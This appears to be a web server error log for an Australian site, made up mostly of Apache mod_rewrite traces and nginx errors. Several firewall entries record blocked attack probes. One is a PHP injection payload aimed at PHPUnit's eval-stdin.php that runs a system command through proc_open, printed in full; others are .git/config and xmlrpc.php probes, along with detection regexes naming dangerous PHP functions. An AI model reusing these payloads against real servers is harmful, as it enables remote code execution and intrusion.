[Mon Nov 10 18:45:46.002832 2025] [rewrite:trace3] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a404a950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002845 2025] [rewrite:trace4] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a404a950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002856 2025] [rewrite:trace3] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a404a950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002866 2025] [rewrite:trace3] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a404a950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002875 2025] [rewrite:trace3] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a404a950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002895 2025] [rewrite:trace4] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a404a950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.002906 2025] [rewrite:trace1] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a404a950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.003118 2025] [rewrite:trace3] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4017480/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.003135 2025] [rewrite:trace3] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4017480/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.003147 2025] [rewrite:trace3] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4017480/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.003157 2025] [rewrite:trace4] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4017480/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.003179 2025] [rewrite:trace4] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4017480/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.003184 2025] [rewrite:trace4] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4017480/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.003194 2025] [rewrite:trace2] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4017480/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.003204 2025] [rewrite:trace3] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4017480/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.003221 2025] [rewrite:trace2] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4017480/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.003231 2025] [rewrite:trace2] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4017480/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:46.003241 2025] [rewrite:trace1] [pid 12498:tid 12576] mod_rewrite.c(505): [client 2.58.56.93:56624] 2.58.56.93 - - [measureyourbrand.com.au/sid#233083e8][rid#7f80a4017480/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:51.290932 2025] [rewrite:trace3] [pid 12497:tid 12529] mod_rewrite.c(505): [client 54.197.102.71:10095] 54.197.102.71 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094010340/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/robots.txt -> robots.txt
[Mon Nov 10 18:45:51.291006 2025] [rewrite:trace3] [pid 12497:tid 12529] mod_rewrite.c(505): [client 54.197.102.71:10095] 54.197.102.71 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094010340/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'robots.txt'
[Mon Nov 10 18:45:51.291023 2025] [rewrite:trace4] [pid 12497:tid 12529] mod_rewrite.c(505): [client 54.197.102.71:10095] 54.197.102.71 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094010340/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='robots.txt' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched
[Mon Nov 10 18:45:51.291035 2025] [rewrite:trace3] [pid 12497:tid 12529] mod_rewrite.c(505): [client 54.197.102.71:10095] 54.197.102.71 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094010340/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/robots.txt -> robots.txt
[Mon Nov 10 18:45:51.291044 2025] [rewrite:trace3] [pid 12497:tid 12529] mod_rewrite.c(505): [client 54.197.102.71:10095] 54.197.102.71 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094010340/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'robots.txt'
[Mon Nov 10 18:45:51.291058 2025] [rewrite:trace4] [pid 12497:tid 12529] mod_rewrite.c(505): [client 54.197.102.71:10095] 54.197.102.71 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094010340/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched
[Mon Nov 10 18:45:51.291069 2025] [rewrite:trace1] [pid 12497:tid 12529] mod_rewrite.c(505): [client 54.197.102.71:10095] 54.197.102.71 - - [measureyourbrand.com.au/sid#233083e8][rid#7f8094010340/initial] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/robots.txt
[Mon Nov 10 18:45:52.148701 2025] [rewrite:trace3] [pid 12584:tid 12597] mod_rewrite.c(505): [client 3.208.156.9:9680] 3.208.156.9 - - [measureyourbrand.com.au/sid#233083e8][rid#7f805804b9c0/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:52.148805 2025] [rewrite:trace3] [pid 12584:tid 12597] mod_rewrite.c(505): [client 3.208.156.9:9680] 3.208.156.9 - - [measureyourbrand.com.au/sid#233083e8][rid#7f805804b9c0/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:52.148823 2025] [rewrite:trace3] [pid 12584:tid 12597] mod_rewrite.c(505): [client 3.208.156.9:9680] 3.208.156.9 - - [measureyourbrand.com.au/sid#233083e8][rid#7f805804b9c0/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification'
[Mon Nov 10 18:45:52.148845 2025] [rewrite:trace4] [pid 12584:tid 12597] mod_rewrite.c(505): [client 3.208.156.9:9680] 3.208.156.9 - - [measureyourbrand.com.au/sid#233083e8][rid#7f805804b9c0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched
[Mon Nov 10 18:45:52.148871 2025] [rewrite:trace4] [pid 12584:tid 12597] mod_rewrite.c(505): [client 3.208.156.9:9680] 3.208.156.9 - - [measureyourbrand.com.au/sid#233083e8][rid#7f805804b9c0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched
[Mon Nov 10 18:45:52.148890 2025] [rewrite:trace4] [pid 12584:tid 12597] mod_rewrite.c(505): [client 3.208.156.9:9680] 3.208.156.9 - - [measureyourbrand.com.au/sid#233083e8][rid#7f805804b9c0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched
[Mon Nov 10 18:45:52.148906 2025] [rewrite:trace2] [pid 12584:tid 12597] mod_rewrite.c(505): [client 3.208.156.9:9680] 3.208.156.9 - - [measureyourbrand.com.au/sid#233083e8][rid#7f805804b9c0/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification'
[Mon Nov 10 18:45:52.148924 2025] [rewrite:trace3] [pid 12584:tid 12597] mod_rewrite.c(505): [client 3.208.156.9:9680] 3.208.156.9 - - [measureyourbrand.com.au/sid#233083e8][rid#7f805804b9c0/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:52.148943 2025] [rewrite:trace2] [pid 12584:tid 12597] mod_rewrite.c(505): [client 3.208.156.9:9680] 3.208.156.9 - - [measureyourbrand.com.au/sid#233083e8][rid#7f805804b9c0/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1
[Mon Nov 10 18:45:52.148960 2025] [rewrite:trace2] [pid 12584:tid 12597] mod_rewrite.c(505): [client 3.208.156.9:9680] 3.208.156.9 - - [measureyourbrand.com.au/sid#233083e8][rid#7f805804b9c0/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification
[Mon Nov 10 18:45:52.148975 2025] [rewrite:trace1] [pid 12584:tid 12597] mod_rewrite.c(505): [client 3.208.156.9:9680] 3.208.156.9 - - [measureyourbrand.com.au/sid#233083e8][rid#7f805804b9c0/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT]
[Tue Nov 11 02:34:56.247415 2025] [:error] [pid 31985:tid 32008] [client 43.159.136.201:43872] [client 43.159.136.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRIwUJeXIbTtCYJNJFCMggAAAQA"]
[Tue Nov 11 04:52:25.748603 2025] [:error] [pid 43435:tid 43449] [client 167.99.75.112:50857] [client 167.99.75.112] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aRJQiWeCenDmgzLwDULUowAAAAk"]
[Tue Nov 11 04:52:25.940247 2025] [:error] [pid 43435:tid 43440] [client 167.99.75.112:50865] [client 167.99.75.112] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aRJQiWeCenDmgzLwDULUpAAAAAA"]
[Tue Nov 11 04:52:26.145748 2025] [:error] [pid 43436:tid 43488] [client 167.99.75.112:50872] [client 167.99.75.112] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aRJQituzjoymDUxEiDgX0AAAAFU"]
[Tue Nov 11 04:52:26.533205 2025] [:error] [pid 43436:tid 43470] [client 167.99.75.112:50876] [client 167.99.75.112] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aRJQituzjoymDUxEiDgX0QAAAEM"]
[Tue Nov 11 04:52:26.956645 2025] [:error] [pid 43435:tid 43462] [client 167.99.75.112:50897] [client 167.99.75.112] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aRJQimeCenDmgzLwDULUpgAAABY"]
[Tue Nov 11 04:52:27.363138 2025] [:error] [pid 43435:tid 43450] [client 167.99.75.112:50925] [client 167.99.75.112] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aRJQi2eCenDmgzLwDULUqAAAAAo"]
[Tue Nov 11 11:49:05.783156 2025] [:error] [pid 53356:tid 53396] [client 43.166.136.153:48008] [client 43.166.136.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRKyMekdmt0kzjVcUN9fwAAAAEs"]
[Tue Nov 11 13:36:53.098292 2025] [:error] [pid 53449:tid 53464] [client 203.2.64.59:35596] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aRLLddpz08j5NoUSzp8OOQAAAUo"]
[Tue Nov 11 16:10:20.771374 2025] [:error] [pid 31441:tid 31445] [client 104.131.167.155:44352] [client 104.131.167.155] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aRLvbPQ8TlGWLenoKAXT6QAAAYI"]
[Tue Nov 11 16:10:21.951831 2025] [:error] [pid 31403:tid 31430] [client 104.131.167.155:33276] [client 104.131.167.155] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aRLvbfc4L1eEPS8unmw3lQAAAVY"]
[Tue Nov 11 18:47:34.565570 2025] [:error] [pid 36578:tid 36592] [client 223.25.63.33:26167] [client 223.25.63.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.25.63.33, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aRMURkMi03XeylcOo5XE5wAAAMk"]
[Tue Nov 11 19:21:37.615533 2025] [autoindex:error] [pid 43205:tid 43229] [client 159.203.172.143:61593] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Nov 12 01:20:23.616521 2025] [:error] [pid 54700:tid 54948] [client 43.155.129.131:38404] [client 43.155.129.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRNwV2B5AaOtkwsSKToM2gAAAEs"]
[Wed Nov 12 02:37:03.420941 2025] [:error] [pid 40746:tid 40788] [client 14.215.163.132:58373] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aROCT575CjGFTLdEMn4CEgAAAEs"]
2025/11/12 08:08:47 [error] 57091#57091: *48 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 38.97.116.245, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:08:50 [error] 57093#57093: *54 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 185.40.4.20, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:08:57 [error] 57094#57094: *77 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 45.84.107.17, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:09:11 [error] 57098#57098: *122 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 45.84.107.74, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:09:15 [error] 57090#57090: *132 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 45.84.107.54, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:09:48 [error] 57097#57097: *208 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 23.129.64.209, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:10:01 [error] 57098#57098: *246 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 192.42.116.208, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
